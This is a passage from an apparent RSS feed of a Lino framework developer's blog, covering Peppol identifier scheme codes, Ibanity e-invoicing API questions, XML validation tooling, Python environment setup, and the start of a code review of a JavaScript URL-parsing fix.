&lt;span class="go"&gt;BA 9924 BA:VAT Bosnia and Herzegovina VAT number&lt;/span&gt;
&lt;span class="go"&gt;BE 0193 UBLBE UBL.BE Party Identifier&lt;/span&gt;
&lt;span class="go"&gt;BE 0208 BE:EN Numero d&amp;#39;entreprise / ondernemingsnummer / Unternehmensnummer&lt;/span&gt;
&lt;span class="go"&gt;BE 9925 BE:VAT Belgium VAT number&lt;/span&gt;
&lt;span class="go"&gt;BE 9956 BE:CBE Belgian Crossroad Bank of Enterprise number&lt;/span&gt;
&lt;span class="go"&gt;BG 9926 BG:VAT Bulgaria VAT number&lt;/span&gt;
&lt;span class="go"&gt;CH 0183 CH:UIDB Swiss Unique Business Identification Number (UIDB)&lt;/span&gt;
&lt;span class="go"&gt;CH 9927 CH:VAT Switzerland VAT number&lt;/span&gt;
&lt;span class="go"&gt;CY 9928 CY:VAT Cyprus VAT number&lt;/span&gt;
&lt;span class="go"&gt;CZ 9929 CZ:VAT Czech Republic VAT number&lt;/span&gt;
&lt;span class="go"&gt;DE 0204 DE:LWID Peppol-Leitweg-ID&lt;/span&gt;
&lt;span class="go"&gt;DE 9930 DE:VAT Germany VAT number&lt;/span&gt;
&lt;span class="go"&gt;DE 9958 DE:LID Peppol-Leitweg-ID&lt;/span&gt;
&lt;span class="go"&gt;DK 0096 DK:P The Danish Business Authority - P-number (DK:P)&lt;/span&gt;
&lt;span class="go"&gt;DK 0184 DK:DIGST The Danish Business Authority - CVR-number (DK:CVR)&lt;/span&gt;
&lt;span class="go"&gt;DK 0198 DK:ERST The Danish Business Authority - SE-number (DK:SE)&lt;/span&gt;
&lt;span class="go"&gt;DK 9901 DK:CPR Danish Ministry of the Interior and Health&lt;/span&gt;
&lt;span class="go"&gt;DK 9902 DK:CVR The Danish Commerce and Companies Agency&lt;/span&gt;
&lt;span class="go"&gt;DK 9904 DK:SE Danish Ministry of Taxation, Central Customs and Tax Administration&lt;/span&gt;
&lt;span class="go"&gt;DK 9905 DK:VANS Danish VANS providers&lt;/span&gt;
&lt;span class="go"&gt;EE 0191 EE:CC Company code&lt;/span&gt;
&lt;span class="go"&gt;EE 9931 EE:VAT Estonia VAT number&lt;/span&gt;
&lt;span class="go"&gt;ES 9920 ES:VAT Agencia Española de Administración Tributaria&lt;/span&gt;
&lt;span class="go"&gt;FI 0037 FI:OVT LY-tunnus&lt;/span&gt;
&lt;span class="go"&gt;FI 0212 FI:ORG Finnish Organization Identifier&lt;/span&gt;
&lt;span class="go"&gt;FI 0213 FI:VAT Finnish Organization Value Add Tax Identifier&lt;/span&gt;
&lt;span class="go"&gt;FI 0215 FI:NSI Net service ID&lt;/span&gt;
&lt;span class="go"&gt;FI 0216 FI:OVT2 OVTcode&lt;/span&gt;
&lt;span class="go"&gt;FR 0002 FR:SIRENE System Information et Repertoire des Entreprise et des Etablissements: SIRENE&lt;/span&gt;
&lt;span class="go"&gt;FR 0009 FR:SIRET SIRET-CODE&lt;/span&gt;
&lt;span class="go"&gt;FR 9957 FR:VAT French VAT number&lt;/span&gt;
&lt;span class="go"&gt;GB 9932 GB:VAT United Kingdom VAT number&lt;/span&gt;
&lt;span class="go"&gt;GR 9933 GR:VAT Greece VAT number&lt;/span&gt;
&lt;span class="go"&gt;HR 9934 HR:VAT Croatia VAT number&lt;/span&gt;
&lt;span class="go"&gt;HU 9910 HU:VAT Hungary VAT number&lt;/span&gt;
&lt;span class="go"&gt;IE 9935 IE:VAT Ireland VAT number&lt;/span&gt;
&lt;span class="go"&gt;IS 0196 IS:KTNR Icelandic identifier&lt;/span&gt;
&lt;span class="go"&gt;IS 9917 IS:KT Icelandic National Registry&lt;/span&gt;
&lt;span class="go"&gt;IT 0097 IT:FTI FTI - Ediforum Italia&lt;/span&gt;
&lt;span class="go"&gt;IT 0135 IT:SIA SIA Object Identifiers&lt;/span&gt;
&lt;span class="go"&gt;IT 0142 IT:SECETI SECETI Object Identifiers&lt;/span&gt;
&lt;span class="go"&gt;IT 0201 IT:CUUO Codice Univoco Unità Organizzativa iPA&lt;/span&gt;
&lt;span class="go"&gt;IT 0205 IT:COD CODDEST&lt;/span&gt;
&lt;span class="go"&gt;IT 0210 IT:CFI CODICE FISCALE&lt;/span&gt;
&lt;span class="go"&gt;IT 0211 IT:IVA PARTITA IVA&lt;/span&gt;
&lt;span class="go"&gt;IT 9906 IT:VAT Ufficio responsabile gestione partite IVA&lt;/span&gt;
&lt;span class="go"&gt;IT 9907 IT:CF TAX Authority&lt;/span&gt;
&lt;span class="go"&gt;IT 9921 IT:IPA Indice delle Pubbliche Amministrazioni&lt;/span&gt;
&lt;span class="go"&gt;JP 0188 JP:SST Corporate Number of The Social Security and Tax Number System&lt;/span&gt;
&lt;span class="go"&gt;JP 0221 JP:IIN The registered number of the qualified invoice issuer&lt;/span&gt;
&lt;span class="go"&gt;LI 9936 LI:VAT Liechtenstein VAT number&lt;/span&gt;
&lt;span class="go"&gt;LT 0200 LT:LEC Legal entity code&lt;/span&gt;
&lt;span class="go"&gt;LT 9937 LT:VAT Lithuania VAT number&lt;/span&gt;
&lt;span class="go"&gt;LU 9938 LU:VAT Luxemburg VAT number&lt;/span&gt;
&lt;span class="go"&gt;LV 0218 LV:URN Unified registration number&lt;/span&gt;
&lt;span class="go"&gt;LV 9939 LV:VAT Latvia VAT number&lt;/span&gt;
&lt;span class="go"&gt;MC 9940 MC:VAT Monaco VAT number&lt;/span&gt;
&lt;span class="go"&gt;ME 9941 ME:VAT Montenegro VAT number&lt;/span&gt;
&lt;span class="go"&gt;MK 9942 MK:VAT Macedonia, the former Yugoslav Republic of VAT number&lt;/span&gt;
&lt;span class="go"&gt;MT 9943 MT:VAT Malta VAT number&lt;/span&gt;
&lt;span class="go"&gt;MY 0230 MY:EIF National e-Invoicing Framework&lt;/span&gt;
&lt;span class="go"&gt;NL 0106 NL:KVK Vereniging van Kamers van Koophandel en Fabrieken in Nederland (Association of&lt;/span&gt;
&lt;span class="go"&gt;Chambers of Commerce and Industry in the Netherlands), Scheme&lt;/span&gt;
&lt;span class="go"&gt;NL 0190 NL:OINO Organisatie-identificatienummer (OIN)&lt;/span&gt;
&lt;span class="go"&gt;NL 9944 NL:VAT Netherlands VAT number&lt;/span&gt;
&lt;span class="go"&gt;NL 9954 NL:OIN Dutch Originator&amp;#39;s Identification Number&lt;/span&gt;
&lt;span class="go"&gt;NO 0192 NO:ORG Organisasjonsnummer&lt;/span&gt;
&lt;span class="go"&gt;NO 9908 NO:ORGNR Enhetsregisteret ved Bronnoysundregisterne&lt;/span&gt;
&lt;span class="go"&gt;NO 9909 NO:VAT Norwegian VAT number&lt;/span&gt;
&lt;span class="go"&gt;PL 9945 PL:VAT Poland VAT number&lt;/span&gt;
&lt;span class="go"&gt;PT 9946 PT:VAT Portugal VAT number&lt;/span&gt;
&lt;span class="go"&gt;RO 9947 RO:VAT Romania VAT number&lt;/span&gt;
&lt;span class="go"&gt;RS 9948 RS:VAT Serbia VAT number&lt;/span&gt;
&lt;span class="go"&gt;SE 0007 SE:ORGNR Organisationsnummer&lt;/span&gt;
&lt;span class="go"&gt;SE 9955 SE:VAT Swedish VAT number&lt;/span&gt;
&lt;span class="go"&gt;SG 0195 SG:UEN Singapore Nationwide E-Invoice Framework&lt;/span&gt;
&lt;span class="go"&gt;SI 9949 SI:VAT Slovenia VAT number&lt;/span&gt;
&lt;span class="go"&gt;SK 9950 SK:VAT Slovakia VAT number&lt;/span&gt;
&lt;span class="go"&gt;SM 9951 SM:VAT San Marino VAT number&lt;/span&gt;
&lt;span class="go"&gt;TR 9952 TR:VAT Turkey VAT number&lt;/span&gt;
&lt;span class="go"&gt;US 9959 US:EIN US Employer ID Number&lt;/span&gt;
&lt;span class="go"&gt;VA 9953 VA:VAT Holy See (Vatican City State) VAT number&lt;/span&gt;
&lt;span class="go"&gt;international 0060 DUNS Data Universal Numbering System (D-U-N-S Number)&lt;/span&gt;
&lt;span class="go"&gt;international 0088 GLN Global Location Number&lt;/span&gt;
&lt;span class="go"&gt;international 0130 EU:NAL Directorates of the European Commission&lt;/span&gt;
&lt;span class="go"&gt;international 0199 LEI Legal Entity Identifier (LEI)&lt;/span&gt;
&lt;span class="go"&gt;international 0209 GS1 GS1 identification keys&lt;/span&gt;
&lt;span class="go"&gt;international 9912 EU:VAT National ministries of Economy&lt;/span&gt;
&lt;span class="go"&gt;international 9913 EU:REID Business Registers Network&lt;/span&gt;
&lt;span class="go"&gt;international 9918 IBAN SOCIETY FOR WORLDWIDE INTERBANK FINANCIAL, TELECOMMUNICATION S.W.I.F.T&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Countries like Andorra or Albania are simple and clear, the have only one
identifier scheme. Italians are the most complex administration with not less
than 10 schemes.&lt;/p&gt;
&lt;p&gt;For outbound documents things are simple: we can decide which EAS to use, and we
opt for using the VAT number.  I used the code snippets of this page to write
the &lt;a class="reference external" href="https://github.com/lsaffre/commondata/tree/master?tab=readme-ov-file#peppol-codes"&gt;commondata.peppolcodes&lt;/a&gt;
module.&lt;/p&gt;
&lt;p&gt;But what about inbound documents? When processing incoming documents we don’t
want to do per document yet another Ibanity request in order to find the VAT id
of the partner. Do we need another database model “Customer”?&lt;/p&gt;
&lt;p&gt;Answer: No, because the name of the supplier is given in the invoice. As an end
user, for your business partners who send sou invoices you should fill the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;peppol_id&lt;/span&gt;&lt;/code&gt; with the one &lt;em&gt;they&lt;/em&gt; (your partner) use when sending invoices.
Otherwise Lino will create a partner for you based on the name. If you then
discover that you have a duplicate, you can merge them manually.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0222.html</guid><pubDate>Sat, 22 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Wednesday, February 19, 2025</title><link>https://luc.lino-framework.org/blog/2025/0219.html</link><description>&lt;section id="wednesday-february-19-2025"&gt;
&lt;h1&gt;Wednesday, February 19, 2025&lt;a class="headerlink" href="#wednesday-february-19-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="how-to-reinstall-my-lino-developer-environment-after-dist-upgrade"&gt;
&lt;h2&gt;How to reinstall my Lino developer environment after dist-upgrade&lt;a class="headerlink" href="#how-to-reinstall-my-lino-developer-environment-after-dist-upgrade" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did “pip freeze &amp;gt; 20250218.txt” before the dist-upgrade, but then didn’t use
it because I preferred to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had a series of SyntaxWarning “invalid escape sequence” in a few files because
my Python is now Python 12 (it was 3.10 before). There is a beautiful
&lt;a class="reference external" href="https://discuss.python.org/t/please-dont-break-invalid-escape-sequences/74134/2"&gt;discussion on python.org&lt;/a&gt;
about why this is good.&lt;/p&gt;
&lt;p&gt;getlino should maybe call &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-e&lt;/span&gt; &lt;span class="pre"&gt;.[test]&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0219.html</guid><pubDate>Wed, 19 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Tuesday, February 18, 2025</title><link>https://luc.lino-framework.org/blog/2025/0218.html</link><description>&lt;section id="tuesday-february-18-2025"&gt;
&lt;h1&gt;Tuesday, February 18, 2025&lt;a class="headerlink" href="#tuesday-february-18-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="how-to-validate-a-peppol-xml-file"&gt;
&lt;h2&gt;How to validate a Peppol XML file&lt;a class="headerlink" href="#how-to-validate-a-peppol-xml-file" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://github.com/NCAR/crux"&gt;crux&lt;/a&gt; (“Command-line Refuter of Unshapely
XML”) is a command-line tool “for XML schema and Schematron validation for any
platform with a Java runtime”.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo apt install default-jre
$ java -v
openjdk version &amp;quot;11.0.26&amp;quot; 2025-01-21
OpenJDK Runtime Environment (build 11.0.26+4-post-Ubuntu-1ubuntu122.04)
OpenJDK 64-Bit Server VM (build 11.0.26+4-post-Ubuntu-1ubuntu122.04, mixed mode, sharing)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I downloaded &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;SaxonHE12-5J.zip&lt;/span&gt;&lt;/code&gt; to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;~/Downloads/saxon&lt;/span&gt;&lt;/code&gt;
from &lt;a class="reference external" href="https://github.com/Saxonica/Saxon-HE/tree/main/12/Java"&gt;https://github.com/Saxonica/Saxon-HE/tree/main/12/Java&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;$ sudo apt install maven&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.saxonica.com/html/documentation10/using-xsl/commandline/index.html"&gt;https://www.saxonica.com/html/documentation10/using-xsl/commandline/index.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;$ pytest /home/luc/work/book/docs/apps/cosi/ibanity.rst&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0218.html</guid><pubDate>Tue, 18 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Friday, February 14, 2025</title><link>https://luc.lino-framework.org/blog/2025/0214.html</link><description>&lt;section id="friday-february-14-2025"&gt;
&lt;h1&gt;Friday, February 14, 2025&lt;a class="headerlink" href="#friday-february-14-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I continued to explore the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-Ibanity-API" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;Ibanity API&lt;/span&gt;&lt;/a&gt;. Thanks to Geoffrey who answered
my questions on their support platform.&lt;/p&gt;
&lt;p&gt;Q: The Ibanity API documentation has three very similar sections about outbound
documents: &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#peppol-outbound-invoice"&gt;Invoice&lt;/a&gt;,
&lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#peppol-outbound-credit-note"&gt;Credit Note&lt;/a&gt;
and &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#peppol-outbound-document"&gt;Document&lt;/a&gt;.
Everything seems to be the same for these three sections, except for the value
of &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;type&lt;/span&gt;&lt;/code&gt;. Why is this differentiation?&lt;/p&gt;
&lt;p&gt;A: The &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#peppol-outbound-document-object"&gt;outbound-document resource&lt;/a&gt;
exists only to describe the response of &lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#list-peppol-outbound-documents"&gt;list-peppol-outbound-documents&lt;/a&gt;,
which returns a list of all outbound documents, both invoices and credit notes
mixed up. Note that you cannot POST via this resource; when posting a document
you must specify either Invoice or CreditNote.&lt;/p&gt;
&lt;p&gt;Q: What would happen if I would POST a credit note via the
&lt;a class="reference external" href="https://documentation.ibanity.com/einvoicing/1/api/curl#create-peppol-outbound-invoice"&gt;create-peppol-outbound-invoice&lt;/a&gt;
call?&lt;/p&gt;
&lt;p&gt;A: It would return “invalid format” because Ibanity looks at the root element of
the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/peppol/jargon.html#term-UBL" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;UBL&lt;/span&gt;&lt;/a&gt; file, which is either &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;Invoice&amp;gt;&lt;/span&gt;&lt;/code&gt; or &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;CreditNote&amp;gt;&lt;/span&gt;&lt;/code&gt;, and it will not
match that of the POST. In the sandbox you cannot see this because the sandbox
doesn’t do such verification.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0214.html</guid><pubDate>Fri, 14 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Thursday, February 13, 2025</title><link>https://luc.lino-framework.org/blog/2025/0213.html</link><description>&lt;section id="thursday-february-13-2025"&gt;
&lt;h1&gt;Thursday, February 13, 2025&lt;a class="headerlink" href="#thursday-february-13-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="about-cli-libraries"&gt;
&lt;h2&gt;About CLI libraries&lt;a class="headerlink" href="#about-cli-libraries" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I read about &lt;a class="reference external" href="https://typer.tiangolo.com/#recap"&gt;Typer&lt;/a&gt;, which is an
extension of &lt;a class="reference external" href="https://click.palletsprojects.com"&gt;Click&lt;/a&gt;, which we use  at
different places in Lino, most notably &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/api/index.html#module-getlino" title="(in getlino docs)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. In atelier and picsel we
still use  &lt;a class="reference external" href="https://argh.readthedocs.io"&gt;argh&lt;/a&gt;, which is older than click.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="gui-libraries-for-console-terminals"&gt;
&lt;h2&gt;GUI libraries for console terminals&lt;a class="headerlink" href="#gui-libraries-for-console-terminals" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continue to dream about writing a command-line frontend for Lino.  Right now
it remains just a dream because it would be very experimental and nobody would
ever pay money for it…&lt;/p&gt;
&lt;p&gt;… but still it would be a great project for a volunteer contributor. Here are
some libraries that we would consider to base our work upon.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://textual.textualize.io/"&gt;Textual&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://npyscreen.readthedocs.io/introduction.html"&gt;An introduction to npyscreen — npyscreen 2 documentation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://urwid.org/"&gt;Urwid&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/thomasballinger/curtsies"&gt;Curtsies&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="computing-with-durations"&gt;
&lt;h2&gt;Computing with durations&lt;a class="headerlink" href="#computing-with-durations" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.utils.quantities&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Duration&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-1:37 10:00 -6:31&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;1:52&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;-4:42 10:00 -0:11&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;5:07&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0213.html</guid><pubDate>Thu, 13 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Tuesday, February 11, 2025</title><link>https://luc.lino-framework.org/blog/2025/0211.html</link><description>&lt;section id="tuesday-february-11-2025"&gt;
&lt;h1&gt;Tuesday, February 11, 2025&lt;a class="headerlink" href="#tuesday-february-11-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="a-user-story-about-writing-comments"&gt;
&lt;h2&gt;A user story about writing comments&lt;a class="headerlink" href="#a-user-story-about-writing-comments" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A user writes a comment about a minor issue under a sticky ticket because he
doesn’t estimate necessary to create a whole ticket for such a little issue. But
the issue gets a series of replies and other comments. It turns out that it
wasn’t such a minor thing. At this moment we can decide to create an independent
ticket for it and to move the series of comments from the sticky ticket to the
new one.&lt;/p&gt;
&lt;p&gt;This story just happened on Jane where I created &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5921"&gt;#5921&lt;/a&gt;  (GL reports
“Failed to sign in as robin” for noi1r and tera1) in order to regroup a series
of three comments that until then had been under &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/881"&gt;#881&lt;/a&gt; (Review test
suites after a series of changes). How to move a comment from one ticket to
another: by simply modifying the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;owner_key&lt;/span&gt;&lt;/code&gt; field. I did this for
comments 15564, 15566 and 15567. Yes, it is possible to “change the topic”
within a thread of comments. I think that this feature makes sense.&lt;/p&gt;
&lt;p&gt;(“Owner” and “Topic” are synonym in the case of comments: we do
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;dd.update_field(Comment,&lt;/span&gt; &lt;span class="pre"&gt;&amp;quot;owner&amp;quot;,&lt;/span&gt; &lt;span class="pre"&gt;verbose_name=_(&amp;quot;Topic&amp;quot;))&lt;/span&gt;&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;Note that comment 15800 still has 881 as owner because it is just a reply to one
of the tickets that were moved.  I &lt;em&gt;could&lt;/em&gt; have moved it as well, but I didn’t
care because the default &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;CommentsByRFC&lt;/span&gt;&lt;/code&gt; table shows only top-level
comments.&lt;/p&gt;
&lt;p&gt;It would be easy to extend &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;comments.CommentChecker&lt;/span&gt;&lt;/code&gt; so that it would
correct this by setting the owner of a comment to the owner of its parent. But
do we really want this? At least in the current situation it doesn’t disturb,
and it leaves a “memory” of the fact that this discussion had originally started
on #881, 2 weeks before #5921 was created.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="code-review-for-5910"&gt;
&lt;h2&gt;Code review for #5910&lt;a class="headerlink" href="#code-review-for-5910" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tried to review Sharif’s commit &lt;a class="reference external" href="https://gitlab.com/lino-framework/react/-/commit/211cd2c093b8ee72c787d2470cde6107024ff74d"&gt;211cd2c09&lt;/a&gt;,
which fixes &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5910"&gt;#5910&lt;/a&gt; (Detail link shows the wrong ticket in Jane). To
review a change means to say something useful about it. Here is what I’ve been
thinking. Though I’m not sure whether it is useful…&lt;/p&gt;
&lt;p&gt;Here is the code after the change:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;interceptBrowserBF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pathname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;document&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;#&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;?&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="n"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;queryString&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;URLContext&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
